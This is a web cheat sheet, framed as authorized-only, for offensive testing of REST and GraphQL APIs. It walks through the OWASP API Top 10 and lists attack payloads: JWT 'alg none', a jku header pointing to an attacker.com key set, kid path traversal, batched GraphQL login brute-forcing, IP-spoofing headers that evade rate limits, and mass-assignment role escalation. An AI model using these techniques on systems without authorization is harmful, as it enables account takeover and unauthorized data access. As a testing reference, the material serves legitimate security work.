← All cheat sheets

API-SECURITY

Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.

Comprehensive reference for testing REST APIs, GraphQL endpoints,
and modern API architectures.

OWASP API SECURITY TOP 10 (2023)#

  API1: Broken Object Level Authorization (BOLA)
    - Access other users' resources by changing object IDs
    - Test: swap user IDs, UUIDs, object references in API calls
    - GET /api/users/123/orders -> GET /api/users/124/orders

  API2: Broken Authentication
    - Weak auth mechanisms, missing token validation
    - Test: expired tokens, missing auth headers, weak JWT secrets

  API3: Broken Object Property Level Authorization
    - Mass assignment + excessive data exposure combined
    - Test: add extra fields in requests, check response for sensitive data

  API4: Unrestricted Resource Consumption
    - No rate limiting, allows DoS or expensive operations
    - Test: rapid-fire requests, large payloads, expensive queries

  API5: Broken Function Level Authorization (BFLA)
    - Regular user accessing admin functions
    - Test: call admin endpoints with regular user tokens
    - GET /api/admin/users (with regular user JWT)

  API6: Unrestricted Access to Sensitive Business Flows
    - Automated abuse of business functions (ticket scalping, etc.)
    - Test: automate purchase flows, check for anti-bot controls

  API7: Server Side Request Forgery
    - API fetches attacker-controlled URLs
    - Test: supply internal URLs in webhook/callback parameters

  API8: Security Misconfiguration
    - Verbose errors, missing CORS, unnecessary HTTP methods
    - Test: OPTIONS requests, error triggering, header analysis

  API9: Improper Inventory Management
    - Old API versions still accessible, undocumented endpoints
    - Test: /api/v1/ vs /api/v2/, shadow APIs, deprecated endpoints

  API10: Unsafe Consumption of APIs
    - Trusting third-party API responses without validation
    - Test: if app consumes external APIs, test for injection via those

REST API TESTING#

  Endpoint Discovery:
    # Check common documentation endpoints
    /api/docs, /swagger.json, /swagger-ui.html
    /openapi.json, /api-docs, /v2/api-docs, /v3/api-docs
    /redoc, /.well-known/openapi
    /graphql (for GraphQL APIs)

    # Wordlist-based discovery
    ffuf -u https://target.com/api/FUZZ -w /path/to/api-wordlist.txt
    gobuster dir -u https://target.com/api/ -w api-endpoints.txt

    # Check JavaScript files for API endpoints
    # Use tools like LinkFinder, JSParser, or manual grep

  HTTP Method Testing:
    # Test all methods on each endpoint
    for method in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE; do
      curl -X $method https://target.com/api/resource -v
    done

  Content-Type Manipulation:
    # Try different content types
    Content-Type: application/json
    Content-Type: application/xml
    Content-Type: application/x-www-form-urlencoded
    Content-Type: text/plain

    # XXE via content-type switch
    # Change JSON to XML and inject XXE payload

  Version Testing:
    /api/v1/users, /api/v2/users, /api/v3/users
    /api/users?version=1
    Accept: application/vnd.api.v1+json
    X-API-Version: 1

GRAPHQL TESTING#

  Introspection:
    POST /graphql
    {"query": "{__schema{types{name,fields{name,args{name}}}}}"}

  Field Enumeration:
    {"query": "{__type(name:\"User\"){fields{name,type{name}}}}"}

  Batching Attacks:
    [
      {"query": "mutation{login(user:\"admin\",pass:\"pass1\"){token}}"},
      {"query": "mutation{login(user:\"admin\",pass:\"pass2\"){token}}"},
      {"query": "mutation{login(user:\"admin\",pass:\"pass3\"){token}}"}
    ]

  See GRAPHQL-SECURITY.txt for comprehensive GraphQL testing.

AUTHENTICATION BYPASS TECHNIQUES#

  Token Manipulation:
    # Remove Authorization header entirely
    # Use empty Bearer token
    Authorization: Bearer
    Authorization: Bearer null
    Authorization: Bearer undefined

    # Try different auth schemes
    Authorization: Basic YWRtaW46YWRtaW4=
    Authorization: Bearer <token>
    X-API-Key: <key>

  JWT Attacks:
    # Decode JWT
    echo "eyJhbG..." | base64 -d

    # Algorithm none attack
    {"alg":"none","typ":"JWT"}
    # Sign with empty signature

    # Algorithm confusion (RS256 -> HS256)
    # Use the public key as HMAC secret

    # Weak secret brute force
    hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
    john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256

    # Key injection via JKU/X5U header
    {"alg":"RS256","jku":"https://attacker.com/jwks.json"}

    # KID manipulation
    {"alg":"HS256","kid":"../../../../../../dev/null"}

  API Key Testing:
    # Key in different locations
    ?api_key=KEY
    X-API-Key: KEY
    Authorization: ApiKey KEY

    # Check if key is validated
    # Try invalid/expired/revoked keys
    # Test key scope (read-only key performing writes)

BOLA/BFLA TESTING#

  BOLA (Broken Object Level Authorization):
    # Systematic ID enumeration
    GET /api/orders/1001  (your order)
    GET /api/orders/1002  (someone else's order)

    # UUID guessing (if predictable)
    # Check if UUIDs are sequential or leaked elsewhere

    # Parameter pollution
    GET /api/orders?user_id=victim_id

    # Nested resource access
    GET /api/users/victim/documents
    GET /api/organizations/other_org/members

  BFLA (Broken Function Level Authorization):
    # Horizontal privilege escalation
    PUT /api/users/other_user {"role":"admin"}

    # Vertical privilege escalation
    POST /api/admin/create-user  (as regular user)
    DELETE /api/admin/users/123  (as regular user)

    # Method-based bypass
    GET /api/admin/config   (blocked)
    POST /api/admin/config  (might work)

  Automated Testing:
    # Use Autorize (Burp extension) for automated authz testing
    # Configure low-privilege cookie, browse as admin

RATE LIMITING BYPASS#

  Header Manipulation:
    X-Forwarded-For: 127.0.0.1
    X-Real-IP: 1.2.3.4
    X-Originating-IP: 127.0.0.1
    X-Client-IP: 127.0.0.1
    X-Remote-IP: 127.0.0.1
    X-Remote-Addr: 127.0.0.1
    X-Forwarded-Host: 127.0.0.1
    # Rotate IP values on each request

  Endpoint Variations:
    /api/login
    /api/Login
    /api/LOGIN
    /api/login/
    /api/login?dummy=1
    /api/v1/login vs /api/v2/login
    /api/login#fragment
    /api/./login
    /API/LOGIN

  Request Variations:
    # Change User-Agent on each request
    # Use different content types
    # Add null bytes: /api/login%00
    # Unicode normalization: /api/logi%6E
    # Double URL encoding

  Distributed Attacks:
    # Use multiple source IPs
    # Proxy through different endpoints
    # Use IPv4 vs IPv6 variations

MASS ASSIGNMENT#

  Detection:
    # Step 1: Find a response that shows object properties
    GET /api/users/me
    Response: {"id":1,"name":"test","email":"test@x.com","role":"user","isAdmin":false}

    # Step 2: Try adding extra fields in update request
    PUT /api/users/me
    {"name":"test","role":"admin","isAdmin":true}

    # Step 3: Check if unauthorized fields were updated
    GET /api/users/me

  Common Targets:
    role, isAdmin, is_admin, admin, privilege, permissions
    verified, email_verified, approved, active, credits, balance
    organization_id, group_id, tenant_id

POSTMAN / INSOMNIA TIPS#

  Postman:
    - Import OpenAPI/Swagger specs for instant collection
    - Use environments for different targets (dev/staging/prod)
    - Pre-request scripts for dynamic token generation
    - Tests tab for automated response validation
    - Collection Runner for batch testing
    - Use variables: {{base_url}}, {{auth_token}}
    - Export collections as JSON for team sharing

  Pre-Request Script Example (Postman):
    // Auto-generate timestamp
    pm.environment.set("timestamp", Date.now());
    // Auto-generate HMAC signature
    var hmac = CryptoJS.HmacSHA256(message, secret);
    pm.environment.set("signature", hmac.toString());

  Insomnia:
    - Template tags for dynamic values
    - Environment chaining (base + overlay)
    - Plugin ecosystem for custom auth
    - Response body references across requests
    - GraphQL auto-completion from schema

API ENUMERATION#

  Passive Recon:
    # Google Dorking
    site:target.com inurl:api
    site:target.com filetype:json
    site:target.com inurl:swagger

    # GitHub/GitLab search
    "target.com" api_key
    "target.com" endpoint

    # Wayback Machine
    waybackurls target.com | grep -i "api\|v1\|v2\|graphql"

    # Certificate Transparency
    crt.sh -> find subdomains -> api.target.com, api-staging.target.com

  Active Recon:
    # Subdomain enumeration for API subdomains
    subfinder -d target.com | grep api

    # Directory brute forcing
    ffuf -u https://api.target.com/FUZZ -w api-wordlist.txt -mc 200,201,204,301,302,401,403

    # Kiterunner (API-specific discovery)
    kr scan https://target.com -w routes-large.kite

    # WADL / WSDL discovery (SOAP)
    ?wsdl, ?WSDL, /services?wsdl

TOOLS#

  Burp Suite          - Primary API testing proxy
  Postman/Insomnia    - API client and testing
  mitmproxy           - Scriptable proxy for API interception
  Kiterunner          - API endpoint discovery
  Arjun               - Hidden parameter discovery
  jwt_tool             - JWT manipulation and attacks
  GraphQL Voyager     - GraphQL schema visualization
  Nuclei              - Template-based API vulnerability scanning
  RESTler             - Stateful REST API fuzzing (Microsoft)
  Akto                - API security testing platform
  Hoppscotch          - Open-source API development ecosystem

COMMON API SECURITY HEADERS#

  Request Headers to Test:
    Authorization, X-API-Key, Cookie, X-CSRF-Token
    Content-Type, Accept, Origin, Referer
    X-Forwarded-For, X-Real-IP, Host

  Response Headers to Check:
    Access-Control-Allow-Origin (CORS)
    X-RateLimit-Limit, X-RateLimit-Remaining
    X-Request-Id (information leakage)
    Server (technology disclosure)
    X-Powered-By (technology disclosure)